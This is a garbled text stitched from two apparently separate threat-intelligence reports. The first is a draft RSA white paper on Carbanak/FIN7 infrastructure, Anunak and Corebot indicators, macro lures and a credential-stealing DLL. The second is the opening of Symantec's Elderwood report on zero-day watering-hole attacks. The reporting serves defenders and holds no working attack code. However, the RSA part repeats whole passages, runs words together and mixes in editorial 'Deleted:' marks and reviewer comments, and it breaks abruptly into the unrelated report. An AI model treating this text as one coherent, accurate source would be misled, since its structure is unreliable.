Linked Sample File Name: face85f789faec82197703e296bd0c872f621902624b34c 108f0460bc687ab70.exe FILE SIZE: 204800 BYTES MD5: 1E47E12D11580E935878B0ED78D2294F SHA1: 8230E932427BFD4C2494A6E0269056535B9E6604 PE TIME: 0X534BD7C7 [MON APR 14 12:42:47 2014 UTC] PEID SIG: MICROSOFT VISUAL C 8 SECTIONS (5): NAME ENTROPY MD5 .TEXT 6.5 EAFBA59CAFA0E4FA350DFD3144E02446 .RDATA 7.77 25617CE39E035E60FA0D71C2C28E1BF5 .DATA 6.57 1284A97C9257513AAEBE708AC82C2E38 .RSRC 4.91 F6207D7460A0FBDDC2C32C60191B6634 .RELOC 4.01 2E7EEC2C3E7BA29FBF3789A788B4228E The compile time of this sample does not appear to be tampered with.
It was submitted to VirusTotal on August 25, 2014, from Russia via a web submission as great1404_chelnok.exe.
The web submission, as well as a non- hash filename, suggests this was from the victim and not a researcher.
This would give the actor a possible dwell time of over four months, more than enough time to accomplish their goals.
6/1/2017 7/1/2017 7/24/2017 6/18/2017 176.101.223.105:443 7/19/2017 5.152.203.121:443 6/26/2017 185.180.198.2:443 31.148.219.126:443 7/25/2017 shfdhghghfg.com, 52.11.125.44:443 WHITE PAPER 27 Upon further analysis, we determined the Trojan is Anunak and is hardcoded to use the HTTP C2 communications method with the domain nyugorta.com (Figure 37).
Figure 37: Anunak Trojan Beacon The domain resolved to 89.45.14[.
]207 on February 2nd, 2014.
Pivoting on this IP address led our research to a domain, brazilian-love[.
]org, that resolved to this IP between April 8th, 2014 and December 5th, 2014.
This fit within our actors timeframe of April to August 2014.
The WHOIS information indicated that drake.lampado777gmail.com registered this domain and 34 others in the same timeframe.
Our research indicates Drake Lampado is a pseudonym.
Research into these domains revealed that many of them were involved with common Crimeware campaigns, overlapping with some of the Hosting provider subnets used by Carbanak/Fin7 during the same time (Table 2).
Note: the full, unobscured table is available in the Appendix.
Rd Domain Malware Involved Links to Anunak zaydo.website zaydo.space zaydo.co akkso-dob.in upatre downloader nikaka-ost.in skaoow-loyal.xyz akkso-dob.xyz upatre downloader maorkkk-grot.xyz upatre downloader skaoow-loyal.net nikaka-ost.xyz upatre downloader pasteronixca.com corebot pasteronixus.com corebot vincenzo-bardelli.com corebot marcello-bascioni.com corebot 4.Overlap with Common Crimeware Campaigns During RSA Researchs analysis, an interesting link emerged to several crimeware campaigns.
This made sense, considering the prolific use of banker Trojans and other information-stealing Trojans by these groups.
The Anunak/Sekur malware is the only unique family attributed to these groups.
The rest are common, repurposed malware.
By pivoting on the known infrastructure with respect to when the Trojans were active, RSA Research was able to discover a potential overlap.
Linked Sample File Name: face85f789faec82197703e296bd0c872f621902624b34c108f0460bc687ab70.exe File Size: 204800 bytes MD5: 1e47e12d11580e935878b0ed78d2294f SHA1: 8230e932427bfd4c2494a6e0269056535b9e6604 PE Time: 0x534BD7C7 [Mon Apr 14 12:42:47 2014 UTC] PEID Sig: Microsoft Visual C 8 Sections (5): Name Entropy MD5 .text 6.5 eafba59cafa0e4fa350dfd3144e02446 .rdata 7.77 25617ce39e035e60fa0d71c2c28e1bf5 .data 6.57 1284a97c9257513aaebe708ac82c2e38 .rsrc 4.91 f6207d7460a0fbddc2c32c60191b6634 .reloc 4.01 2e7eec2c3e7ba29fbf3789a788b4228e The compile time of this sample does not appear to be tampered with.
It was submitted to VirusTotal on August 25, 2014, from Russia via a web submission as great1404_chelnok.exe.
The web submission, as well as a non-hash filename, suggests this was from the victim and not a researcher.
This would give the actor a possible dwell time of over four months, more than enough time to accomplish their goals.
Upon further analysis, we determined the Trojan is Anunak and is hardcoded to use the HTTP C2 communications method with the domain nyugorta.com (Figure 37).
Figure 37: Anunak Trojan Beacon The domain resolved to 89.45.14[.
]207 on February 2, 2014.
Pivoting on this IP address led our research to a domain, brazilian-love[.
]org, that resolved to this IP between April 8, 2014, and December 5, 2014.
This fit within our actors timeframe of April to August 2014.
The WHOIS information indicated that drake.lampado777gmail.com registered this domain and 34 others in the same timeframe.
Ourresearch indicatesDrakeLampadoisapseudonym.
Deleted: Crimeware Deleted: Deleted: Banker Deleted: information Deleted: Deleted: Deleted: Virustotal Deleted: th Deleted: .
Deleted: Deleted: Deleted: 4 Deleted: nd Deleted: Deleted: th Deleted: th Deleted: Deleted: Deleted: Comment [DC24]: Backtothesleepingbearcomment,are wecallingoutsomeone?Couldwebesubjectedtothe attack?
Comment [TJ25R24]: DrakeLampadoisapseudonym,so wearenotactuallycallingoutsomeonebytheirrealname.
Addedclarification.
WHITE PAPER 28 namorushinoshi.com corebot chugumshimusona.com corebot wascodogamel.com corebot ppc-club.org corebot Resolved between 09/16/201501/08/2016 to 91.194.254.207 same subnet as advetureseller.com and others castello-casta.com carberp cameron-archibald.com carberp narko-cartel.com andromeda narko-dispanser.com andromeda dragonn-force.com Resolved between 02/04/201505/14/2016 to 91.194.254.207 same subnet as advetureseller.com and others [obscured].com gooip-kumar.com badur Resolved between 02/05/201504/17/2015 to 91.194.254.207 same subnet as advetureseller.com and others casas-curckos.com levetas-marin.com badur casting-cortell.com [obscured].net 02/08/201504/29/2016, 91.194.254.207 same subnet as advetureseller.com and others brazilian-love.org baltazar-btc.com road-to-dominikana.biz corebot ihave5kbtc.org andromeda ihave5kbtc.biz andromeda critical-damage333.org Table 2: Links to Anunak/Sekur Malware WHITE PAPER 29 The linked IP address, 91.194.254[.
]207, is registered to dimeline.eu, a European sports betting site that owns the entire 91.194.254[.
]0/23 address space (Table 3).
Table 3: RIPE WHOIS Information for 91.194.254.0/24 As noted above, many of the samples analyzed also had domains resolving to this network space (91.194.254/23) during the 2014-2015 time period.
Table 4 details the dimeline.eu IP addresses of these domains.
These domains are often referred to as lookalike domains as they are registered in such a way as to mimic other trusted or innocent domains in an attempt to go unnoticed.
Domain IP Address Date akamai-technologies.org 91.194.254.246 2/26/2014 adventureseller.com 91.194.254.39 8/25/2014 androidn.net 91.194.254.39 7/3/2014 travel-maps.info 91.194.254.38 7/4/2014 glonass-map.com 91.194.254.37 7/17/2014 datsun-auto.com 91.194.254.38 7/22/2014 di-led.com 91.194.254.38 8/4/2014 coral-trevel.com 91.194.254.92 10/20/2014 comixed.org 91.194.254.90 10/24/2014 publics-dns.com 91.194.254.93 2/25/2015 publics-dns.com 91.194.254.94 2/25/2015 Table 4: Overlaps with Anunak Infrastructure There is also a link to a Corebot campaign with attempts to sell Corebot source code on btcshop.cc by a user named btcshop.
This person claimed to be selling the Corebot source code, but was not the author, and linked to a google account for a Drake Lampado.
A single post by this person was posted on October 11, 2013.
An article explaining the link is here.
The linked IP address, 91.194.254[.
]207, is registered to dimeline.eu, a European sports betting site that owns the entire 91.194.254[.
]0/23 address space (Table 3).
Table 3: RIPE WHOIS Information for 91.194.254.0/24 Asnotedabove,manyofthesamplesanalyzedalsohaddomainsresolvingtothisnetworkspace (91.194.254/23)duringthe2014O2015timeperiod.
Table4detailsthedimeline.euIPaddressesofthese domains,whichwereregisteredinsuchawayastobetterblendinwithcommontraffic.
Domain IP Address Date akamai-technologies.org 91.194.254.246 2/26/2014 adventureseller.com 91.194.254.39 8/25/2014 androidn.net 91.194.254.39 7/3/2014 travel-maps.info 91.194.254.38 7/4/2014 glonass-map.com 91.194.254.37 7/17/2014 datsun-auto.com 91.194.254.38 7/22/2014 di-led.com 91.194.254.38 8/4/2014 coral-trevel.com 91.194.254.92 10/20/2014 comixed.org 91.194.254.90 10/24/2014 publics-dns.com 91.194.254.93 2/25/2015 publics-dns.com 91.194.254.94 2/25/2015 Table 4: Overlaps with Anunak Infrastructure There is also a link to a Corebot campaign with attempts to sell Corebot source code on btcshop.cc by a user named btcshop.
This person claimed to be selling the Corebot source code, but was not the author, and linked to a google account for a Drake Lampado.
A single post by this person was posted on October 11, 2013.
An article explaining the link is here.
Comment [DC29]: Isthecompanyavictimofthese criminals?Isitalegitimatecompany?Ifso,whyarecalling themout?
|
168
|
Comment [e30]: Itscertainlyarealcompany.
| 36,017
| 36,099
| 83
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data/reports_final/0168.txt
|
Comment [e30]: Itscertainlyarealcompany.
Itsthe entirelinkbetweentheseactorsandothergeneral crimewarecampaign.
TheIPspace,whichisthelink,is availableforanyonetosee.
Censoringthosewould completelyinvalidatethisentiresectionandtheNetNew content.
Deleted: .
Deleted: Many of the samples analyzed also had domains resolving to this network during the 2014-2015 time Deleted: period (Table 4).
Deleted: Deleted: Deleted: th Deleted: Comment [DC34]: Notsurewhywearecallingout individuals.
Ifweareincorrect,wecouldsubjectRSAtolibel.
Comment [TJ35R34]: Acknowledgetheriskoflibel however,asnotedabove,DrakeLampadoisapseudonym.
http://www.informationsecuritybuzz.com/articles/stolen-information-using-corebot-sold-on-btcshop-cc/ WHITE PAPER 30 These indirect links are not a smoking gun and may be coincidental.
The Dimeline network may have been vulnerable with many different groups/ actors using its infrastructure to host their malware.
Differences in TTP also exist.
For example, the Carbanak/FIN7 group used more than one of their external IP addresses to host C2 applications, while we were only able to verify a single IP address hosting Corebot by the Drake Lampado actor.
That being said, it remains a possibility that the Carbanak/FIN7 actors run side campaigns, in addition to their APT-style attacks, on the industrial verticals dealing with financial information of interest.
5.
CURRENT ACTIVITY Recently there have been reports of weaponized DOCX and RTF files using JavaScript embedded in macros to drop Visual Basic and PowerShell payloads (Figure 38).
These lures allow Carbanak/FIN7 to gain a foothold in a targeted network and move laterally to find financial data.
Figure 38: Weaponized DOCX and RTF Lures The many layers of string splitting and Base64 obfuscation in the lure documents VBA Macro reveal the Bateleur JavaScript backdoor (Figure 39).
Along with this Trojan is the tinymet Trojan stub from Metasploit (Figure 40), as well as an encoded and compressed password-stealing DLL.
These indirect links are not a smoking gun and may be coincidental.
The Dimeline network may have been vulnerable with many different groups/actors using its infrastructure to host their malware.
Differences in TTP also exist.
For example, the Carbanak/FIN7 group used more than one of their external IP addresses to host C2 applications, while we were only able to verify a single IP address hosting Corebot by the Drake Lampado actor.
That being said, it remains a possibility that the Carbanak/FIN7 actors run side campaigns, in addition to their APT-style attacks, on the industrial verticals dealing with financial information of interest.
5.Current Activity Recently there have been reports of weaponized DOCX and RTF files using JavaScript embedded in macros to drop Visual Basic and PowerShell payloads (Figure 38).
These lures allow Carbanak/FIN7 to gain a foothold in a targeted network and move laterally to find financial data.
Figure38:WeaponizedDOCXandRTFLures Deleted: Deleted: Deleted: Deleted: Fin7 Deleted: Fin7 Deleted: APT Deleted: Deleted: Fin7 https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor https://github.com/SherifEldeeb/TinyMet WHITE PAPER 31 Figure 39: Bateleur Machine Enumeration FIGURE 40: TINYMET CONFIGURATION Embedded DLL File Name: stealer_component_refl.dll File Size: 24576 bytes MD5: ddc9b71808be3a0e180e2befae4ff433 SHA1: 996db927eb4392660fac078f1b3b20306618f382 PE Time: 0x58993DE6 [Tue Feb 07 03:24:22 2017 UTC] Sections (4): Name Entropy MD5 .text 6.05 e741daf57eb00201f3e447ef2426142f .rdata 4.3 5ecb9eb63e8ace126f20de7d139dafe8 .data 1.54 732e6d3d7534da31f51b25506e52227a .reloc 4.76 9f01b74c1ae1c407eb148c6b13850d28 The script, using Reflective DLL Injection, loads this payload into memory and executes it without first writing it to disk.
When the DLL is executed it writes itself to the AppData\Local\Temp\ directory of the user profile in which it was executed.
It then attempts to locate saved username and password locations from approximately ten different web browsers, as well as saved Outlook credentials.
This is but one variant other variants use a cobalt-strike stager in place of the tinymet backdoor.
This blog post from Icebrg contains a spreadsheet with known IOCs.
ThemanylayersofstringsplittingandBase64obfuscationintheluredocumentsVBAMacrorevealthe BateleurJavaScriptbackdoor(Figure39).AlongwiththisTrojanisthetinymetTrojanstubfrom Metasploit(Figure40),aswellasanencodedandcompressedpasswordOstealingDLL.
Figure39:BateleurMachineEnumeration Figure40:TinymetConfiguration EmbeddedDLL File Name: stealer_component_refl.dll File Size: 24576 bytes MD5: ddc9b71808be3a0e180e2befae4ff433 SHA1: 996db927eb4392660fac078f1b3b20306618f382 PE Time: 0x58993DE6 [Tue Feb 07 03:24:22 2017 UTC] Sections (4): Name Entropy MD5 .text 6.05 e741daf57eb00201f3e447ef2426142f .rdata 4.3 5ecb9eb63e8ace126f20de7d139dafe8 .data 1.54 732e6d3d7534da31f51b25506e52227a .reloc 4.76 9f01b74c1ae1c407eb148c6b13850d28 Deleted: Deleted: password ThemanylayersofstringsplittingandBase64obfuscationintheluredocumentsVBAMacrorevealthe BateleurJavaScriptbackdoor(Figure39).AlongwiththisTrojanisthetinymetTrojanstubfrom Metasploit(Figure40),aswellasanencodedandcompressedpasswordOstealingDLL.
Figure39:BateleurMachineEnumeration Figure40:TinymetConfiguration EmbeddedDLL File Name: stealer_component_refl.dll File Size: 24576 bytes MD5: ddc9b71808be3a0e180e2befae4ff433 SHA1: 996db927eb4392660fac078f1b3b20306618f382 PE Time: 0x58993DE6 [Tue Feb 07 03:24:22 2017 UTC] Sections (4): Name Entropy MD5 .text 6.05 e741daf57eb00201f3e447ef2426142f .rdata 4.3 5ecb9eb63e8ace126f20de7d139dafe8 .data 1.54 732e6d3d7534da31f51b25506e52227a .reloc 4.76 9f01b74c1ae1c407eb148c6b13850d28 Deleted: Deleted: password https://www.icebrg.io/blog/footprints-of-fin7-iocs WHITE PAPER 32 6.
RECOMMENDATIONS The security lifecycle is the foundation for securing a network against external threats.
But this foundation needs to be built upon and a culture of attention to detail, proactive monitoring and looking for blind spots.
This can sometimes be tedious and seem unnecessary with the right mix of technology.
RSA Incident Response has weighed in on the current situation, given they see the effectiveness of many different types of instrumentation and network layouts.
The key takeaway from that post is for defenders to programmatically increase their visibility while decreasing a potential attackers visibility and access to sensitive data in a continuous cycle.
This shortens attacker dwell time when a breach occurs and limits exposure to financial loss.
Preventing an intrusion cannot always be mitigated by thorough patching and good IT hygiene, though.
In one case, these actors were able to exploit a vulnerability in an internet-facing web application.
In this case, the organization had a good patching regimen for their application servers however, the software was a package and one of the components had a vulnerability that the vendor had not patched.
While the story could have ended there, it did not.
The server was running a vulnerable Linux kernel, allowing for escalated privileges using CVE-2016-5195, the Dirty COW copy-on-write vulnerability.
The attackers quickly installed a backdoor SSH and SSHD binary, but soon discovered the Linux environment used key-based authentication.
From here, the attackers abused the winbind service, which allows Windows Active Directory authentication on Linux hosts, to quickly pivot to the Windows environment and carry on with their mission.
This is often the case with defense planning is made more complicated once you consider zero-day exploitspreviously unknown vulnerabilities in existing software.
There are, undoubtedly, many zero days yet to be discovered in todays commonly used software.
So how is a defender to be effective with the complexity of modern networks and software?
By assuming a breach is always underway.
Hunt for indicators in network traffic and on hosts and look for blind spots in that monitoring.
At a minimum, an organization should log privileged account usage remotely and know where credentials are stored.
Carbanak/FIN7 relies on variants of the mimikatz password-dumping software.
Active Directory software is a fantastic tool to centralize authentication and access control, as well as manage endpoints.
This also benefits a potential attacker, often providing the proverbial keys to the kingdom and an abstracted map of the network.
The simplest reconnaissance tool to be aware of is a Windows native utility, net.exe.
More comprehensive frameworks exist in the Recon module for PowerSploit or the Situational Awareness module for PowerShell Empire.
https://www.sans.org/reading-room/whitepapers/basics/security-lifecycle-managing-threat-592 https://www.rsa.com/en-us/blog/2017-07/infosec-easy-button-myth https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2016-5195 https://github.com/gentilkiwi/mimikatz https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon https://www.powershellempire.com/?page_id285 https://www.powershellempire.com/?page_id285 https://www.powershellempire.com/ WHITE PAPER 33 Proper segmentation of the network could have also prevented the incident described above.
Had the DMZ of the internet-facing web hosts not had access to the internal network segments, this would not have happened.
This can be taken a step further, segmenting financial data into its own network with even tighter access controls and visibility.
The industrial verticals that use supervisory control and data acquisition (SCADA) networks to control machinery running the world (such as power grids) use this methodology to reduce their attack surface.
If a corporate user is spear phished and a Trojan is installed, it should be physically impossible to access these resources.
The same approach in storing and handling financial data should also be taken.
Prevention is preferred, but in the modern threat environment, a security analyst must assume a breach is in progress and scrutinize the network accordingly.
Active hunting in network traffic and endpoint behavior and artifacts should be a daily task.
Apex predators in nature have finely tuned senses to hunt their prey so should the modern security analyst.
With the right people, process and technology, organizations should be able to detect these Trojans and movement throughout the network, with ease.
If an organization is using the RSA NetWitness Suite, the parsers, methodologies and YARA signatures described in this paper offer wide coverage for this actor.
While persistent, they have proven to not be advanced, using tools and tactics available to every level of penetration tester.
That they are even successful and worth mentioning should tell us that, as an industry, were still undergoing growing pains.
With technological advancements coming at full speed, we need to be flexible in our understanding of the what and how were defending.
We also need to be flexible in our understanding of the threats themselves, not make assumptions.
No organization has the perfect security instrumentation and processes its an ongoing cycle.
7.
CONCLUSIONS The Carbanak/FIN7 syndicate has had an interesting history over the past four- plus years of observation.
The syndicate began targeting Russian and European banking institutions, employing mules to run money from ATMs and direct transfers to bank accounts.
When the first report emerged in 2015 and following the subsequent high-profile arrests, the group appeared to slow down and fragment into smaller sub-groups, possibly because members were arrested.
The syndicate then appeared to return in force in 2016 with a diversified digital arsenal and target deck.
Since reappearing, they have been observed in the financial, hospitality, retail, food service and other industrial verticals with easy access to financial data.
Carbanak uses disclosed vulnerabilities in email exploits/lures, as well as direct attacks on infrastructure exposed to the internet, to gain an initial WHITE PAPER 34 foothold.
Once on a victim network, they possess an arsenal of post- exploitation tools, allowing them to escalate privileges, proxy internally to firewalled segments, move laterally, conduct reconnaissance, and surveil individuals for information on the financial data systems.
They are motivated and extremely persistent.
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169
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APPENDIX Warning: The following table includes content some may find offensive.
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data/reports_final/0169.txt
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APPENDIX Warning: The following table includes content some may find offensive.
The data contained in this table is necessary for the proper protection of enterprises against this actor.
Rd Domain Malware Involved Links to Anunak zaydo.website zaydo.space zaydo.co akkso-dob.in upatre downloader nikaka-ost.in skaoow-loyal.xyz akkso-dob.xyz upatre downloader maorkkk-grot.xyz upatre downloader skaoow-loyal.net nikaka-ost.xyz upatre downloader pasteronixca.com corebot pasteronixus.com corebot vincenzo-bardelli.com corebot marcello-bascioni.com corebot namorushinoshi.com corebot chugumshimusona.com corebot wascodogamel.com corebot ppc-club.org corebot Resolved between 09/16/201501/08/2016 to 91.194.254.207 same subnet as advetureseller.com and others WHITE PAPER 35 castello-casta.com carberp cameron-archibald.com carberp narko-cartel.com andromeda narko-dispanser.com andromeda dragonn-force.com Resolved between 02/04/201505/14/2016 to 91.194.254.207 same subnet as advetureseller.com and others my-amateur-gals.com gooip-kumar.com badur Resolved between 02/05/201504/17/2015 to 91.194.254.207 same subnet as advetureseller.com and others casas-curckos.com levetas-marin.com badur casting-cortell.com ass-pussy-fucking.net 02/08/201504/29/2016, 91.194.254.207 same subnet as advetureseller.com and others brazilian-love.org baltazar-btc.com road-to-dominikana.biz corebot ihave5kbtc.org andromeda ihave5kbtc.biz andromeda critical-damage333.org Table 2: Links to Anunak/Sekur Malware WHITE PAPER 36 CONTENT AND LIABILITY DISCLAIMER This Research Paper is for general information purposes only, and should not be used as a substitute for consultation with professional advisors.
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Security Response Overview In 2009, Google was attacked by a group using the Hydraq (Aurora) Trojan horse.
Symantec has monitored this groups activities for the last three years as they have consistently targeted a number of industries.
Interesting highlights in their method of operations include: the use of seemingly an unlimited number of zero-day exploits, attacks on supply chain manufacturers who service the target organization, and a shift to watering hole attacks (compromising certain websites likely to be visited by the target organization).
The targeted industry sectors include, but are not restricted to defense, various defense supply chain manufacturers, human rights and non- governmental organizations (NGOs), and IT service providers.
These attackers are systematic and re-use components of an infrastructure we have termed the Elderwood platform.
The name Elderwood comes from a source code variable used by the attackers.
This attack platform enables them to quickly deploy zero-day exploits.
Attacks are deployed through spear phishing emails and also, increasingly, through Web injections in watering hole attacks.
Although there are other attackers utilizing zero-day exploits (for example, the Sykipot or Nitro, or even Stuxnet), we have seen no other group use so many.
The number of zero-day exploits used indicates access to a high level of technical capability.
Here are just some of the most recent exploits that they have used: Gavin OGorman Geoff McDonald The Elderwood Project Contents Overview ............................................................ 1 Background ........................................................ 2 Targets................................................................ 4 Escalation of watering hole attacks .................. 6 Attack platform .................................................. 8 Document creation kit ................................. 8 Shared SWF file ............................................ 8 Connecting the dots .......................................... 9 Conclusion........................................................ 10 Appendix .......................................................... 11 Symantec protection ....................................... 12 http://www.symantec.com/security_response/writeup.jsp?docid2010-011114-1830-99 http://www.symantec.com/security_response/writeup.jsp?docid2010-031015-0224-99 http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the_nitro_attacks.pdf http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf The Elderwood Project Page 2 Security Response Adobe Flash Player Object Type Confusion Remote Code Execution Vulnerability (CVE-2012-0779) Microsoft Internet Explorer Same ID Property Remote Code Execution Vulnerability (CVE-2012-1875) Microsoft XML Core Services Remote Code Execution Vulnerability (CVE-2012-1889) Adobe Flash Player Remote Code Execution Vulnerability (CVE-2012-1535) It is likely the attackers have gained access to the source code for some widely used applications, or have thoroughly reverse-engineered the compiled applications in order to discover these vulnerabilities.
The vulnerabilities are used as needed, often within close succession of each other if exposure of any of the vulnerabilities is imminent.
The scale of the attacks, in terms of the number of victims and the duration of the attacks, are another indication of the resources available to the attackers.
Victims are attacked, not for petty crime or theft, but for the wholesale gathering of intelligence and intellectual property.
The resources required to identify and acquire useful informationlet alone analyze that informationcould only be provided by a large criminal organization, attackers supported by a nation state, or a nation state itself.
Background Serious zero-day vulnerabilities, which are exploited in the wild and affect a widely used piece of software, are relatively rare there were approximately eight in 2011.
The past few months however has seen four such zero- day vulnerabilities actively exploited in the wild.
Two of the zero-day exploits were in Adobe Flash, the other two in Internet Explorer.
In April 2012, we identified seven different Trojans that were being used in conjunction with CVE-2012-0779.
Within one month, two more zero-day exploits were identified in the wild.
These were CVE-2012-1875 and CVE- 2012-1889.
The timing of the release of these three exploits was suspicious.
As soon as one had been identified, the next became active.
We investigated the three exploits and found connections between them all.
In the past few weeks, yet another zero-day exploit was detected in the wild, CVE-2012-1535.
We have tied this zero-day exploit back to all the others.
They may only be the tip of the iceberg.
In early 2010, Google documented an attack against their infrastructure.
They stated that they were attacked in December 2009 and that the attacks originated in China.
The attackers utilized a Trojan called Hydraq, (also known as Aurora), which was delivered using an Internet Explorer zero-day exploit.
We believe the Hydraq attack and the recent attacks that exploit the vulnerabilities outlined above are linked.
In March 2011, at least two Adobe Flash zero-day attacks were utilized in similar attacks against the same types of victims.
In September 2011, yet another Adobe Flash zero-day exploit was used Figure 1 Timeline of zero-day exploits attributable to the one group http://www.securityfocus.com/bid/53395 http://www.securityfocus.com/bid/53847 http://www.securityfocus.com/bid/53934 http://www.securityfocus.com/bid/55009 http://www.symantec.com/content/en/us/enterprise/other_resources/b-istr_main_report_2011_21239364.en-us.pdf http://googleblog.blogspot.ie/2010/01/new-approach-to-china.html/2010/01/new-approach-to-china.html http://www.symantec.com/security_response/writeup.jsp?docid2010-011114-1830-99 http://www.symantec.com/connect/blogs/hydraq-attack-mythical-proportions http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20110617 http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20110617 The Elderwood Project Page 3 Security Response to attack visitors to the Amnesty International Hong Kong site.
The very same website was again compromised in the most recent set of attacks.
Our analysis shows that a single group has been using these zero-day exploits, along with others over the past couple of years, in targeted attacks against individuals, companies, governments, and even entire sectors.
A timeline for these various zero-day exploits is shown in Figure 1.
The attacks conducted by this group are carried out using several different techniques.
One of the methods used, called a watering hole attack, shown in figure 2, is a clear shift in their method of operations.
The concept of the attack is similar to a predator waiting at a watering hole in a desert.
The predator knows that victims will eventually have to come to the watering hole, so rather than go hunting, he waits for his victims to come to him.
Similarly, attackers find a Web site that caters to a particular audience in which the attackers are interested.
For example, people who visit the Amnesty International Hong Kong website are most likely visiting because they are interested in human rights issues in Hong Kong.
Having identified this website, the attackers hack into it using a variety of means.
For example, the site may be vulnerable to a SQL injection, or perhaps the attackers compromise the machine of an individual with publishing rights to the website.
The Figure 2 Web injection process used in watering hole attacks http://www.symantec.com/connect/blogs/cve-2012-1875-exploited-wild-part-1-trojannaid The Elderwood Project Page 4 Security Response attackers then inject an exploit onto public pages of the website that are hopefully visited by their ultimate target.
Any visitor susceptible to the exploit is compromised and a back door Trojan is installed onto their computer.
The attacker then has complete control over the victims computer.
Three of the most recent zero-day exploits were used in watering hole attacks, an indication that this approach is gaining momentum.
The more traditional technique is to send a spear-phishing email, containing an attachment, to the target.
That attachment is a document containing an exploit which, when opened, then drops a Trojan onto the target computer.
This works if the exploit is embeddable in a document.
If not, then an alternative approach is to host the exploit on a Web server and then email the target with a link to that Web server.
The link used is quite unique, it is not hosted on a common Web site, so it will only be encountered by the chosen target.
When the target clicks on the link, the exploit is triggered and a back door is installed.
The Elderwood gang has shown their resourcefulness over the past few years by leveraging a large number of zero-day vulnerabilities.
The full list of vulnerabilities is shown below.
We have analyzed four of the most recent exploits (CVE-2012-0779, CVE-2012-1875, CVE-2012-1889, and CVE-2012-1535) and their associated malicious documents, the Trojans, and the infrastructure utilized in the attacks.
There are several common features used in the attacks.
Some of these features hint at the potential infrastructure, or platform, developed to support these attacks.
From this analysis we have identified an increase in watering hole attacks by this group and developed a theory describing the possible infrastructure the attackers are utilizing.
We also describe the various targeted industry sectors and provide evidence that a single gang is most likely to be behind the attacks.
Targets The targets of the four recent zero-day exploits were attacked through both email (CVE-2012-0779 and CVE- 2012-1535) and Web vectors (CVE-2012-0779, CVE-2012-1875, and CVE-2012-1889).
Identifying the target profile and related industry to which the target belongs is straight forward when email is used in an attack.
Identifying the profile of the targets when the Web is used as the attack vector is difficult.
For example, if an aeronautical website was compromised, the attackers may be trying to infect visitors from the Defense industry, the aeronautical company employees themselves, or perhaps visitors from others aeronautical companies.
For our analysis, we have had to presume that the industry sector being targeted is the same as that of the watering hole website, understanding that in reality this may not always be the case.
Table 1 Zero-day vulnerabilities associated with the Elderwood gang CVE BID Description Application 2012-0779 53395 Object Type Confusion Remote Code Execution Vulnerability Adobe Flash Player 2012-1875 53847 Same ID Property Remote Code Execution Vulnerability Microsoft Internet Explorer 2012-1889 53934 Remote Code Execution Vulnerability Microsoft XML Core Services 2012-1535 55009 Remote Code Execution Vulnerability Adobe Flash Player 2011-0609 46860 SWF File Remote Memory Corruption Vulnerability Adobe Flash Player 2011-0611 47314 SWF File Remote Memory Corruption Vulnerability Adobe Flash Player 2011-2110 48268 Adobe Flash Player Remote Memory Corruption Vulnerability Adobe Flash Player 2010-0249 37815 srcElement() Remote Code Execution Vulnerability Internet Explorer http://www.securityfocus.com/bid/53395 http://www.securityfocus.com/bid/53847 http://www.securityfocus.com/bid/53934 http://www.securityfocus.com/bid/55009 http://www.securityfocus.com/bid/46860 http://www.securityfocus.com/bid/47314 http://www.securityfocus.com/bid/46268 http://www.securityfocus.com/bid/37815 The Elderwood Project Page 5 Security Response The primary targets identified are defense, or more precisely manufacturers that are in the defense supply chain.
These are companies who manufacture electronic or mechanical components which are then sold to top-tier defense companies.
The attackers may use the manufacturers as a stepping stone to gain access to top-tier defense contractors, or obtain intellectual property used in the production of parts that make up larger products produced by a top-tier defense company.
The second most common target is the general area of human rights, or Non Governmental Organizations (NGOs).
A number of websites generally relating to religion, Taiwan, Hong Kong and China were compromised for this purpose.
The CVE-2012-1875 exploit is almost exclusively used in this target sector, with some crossover from the CVE-2012-1889 exploit.
Figure 4 Number of targeted companies (Email) and compromised websites (Web) per exploit Figure 3 Target sectors The Elderwood Project Page 6 Security Response The remaining target sectors include Finance, Energy (Oil/Gas), Education, and Government.
There are a number of outlier victims, such as a hotel jobs site, which may have simply been targeted in error and are collateral damage.
The vast majority of detections are in the United States.
Figure 5 shows those detections.
Escalation of watering hole attacks As we have noted earlier, the number of watering hole attacks have been on the increase.
The attacks begin with an attacker locating a vulnerability on a chosen website.
This vulnerability allows the attacker to insert some JavaScript, or HTML, into the website.
That piece of code contains a link, or iFrame, which points to another Web page that actually hosts exploit code for the chosen vulnerability.
When a user connects to the hacked website, they are automatically referred to the malicious Web page which exploits a vulnerability allowing the attacker to install malware onto the victims computer.
Once the iFrame and malicious code are in place on the server, the attacker does not need to do anything but simply wait for victims to browse to the website, or visit the watering hole, and become infected.
Web injection attacks are not new and are commonly used in cybercrime.
The difference between their use in cybercrime and in watering hole attacks is down to the choice of websites to compromise and use in the attacks.
In a mass injection attack, criminals will indiscriminately compromise any website they can, but in watering hole attacks, the attackers are focused.
They choose websites within a particular sector so as to infect persons of interest who likely work in that same sector and are likely to therefore visit related websites.
Targeting a specific website is much more difficult than merely locating websites that contain a vulnerability.
The attacker has to research and probe for a weakness on the chosen website.
Indeed, in watering hole attacks, the attackers may compromise a website months before they actually use it in an attack.
Once compromised, the attackers periodically connect to the website to ensure that they still have access.
This way, the attackers can infect a number of websites in one stroke, thus preserving the value of their zero-day exploit.
They are even in a position to inspect the website logs to identify any potential victims of interest.
This technique ensures that they obtain the maximum return for their valuable zero-day exploit.
Figure 5 Global detections of files used in the past year by the Elderwood gang The Elderwood Project Page 7 Security Response Although watering hole attacks have been known about since approximately March of 2011, the activity outlined in this report marks a substantial increase.
Three zero-day exploits, CVE-2012-0779, CVE-2012-1875, and CVE- 2012-1889 have all been used within a 30-day period to serve up back door Trojans from compromised websites.
Figure 6 Elderwood platform The Elderwood Project Page 8 Security Response The increase in the use of this attack technique requires the attackers to sift through a much greater amount of stolen information than a targeted attack relying on email, as the number of victims compromised by a Web injection attack will be much greater.
Although multiple emails are often sent to numerous victims, the scale of such attacks is much smaller than the number of victims infected by visiting one of a number of compromised websites.
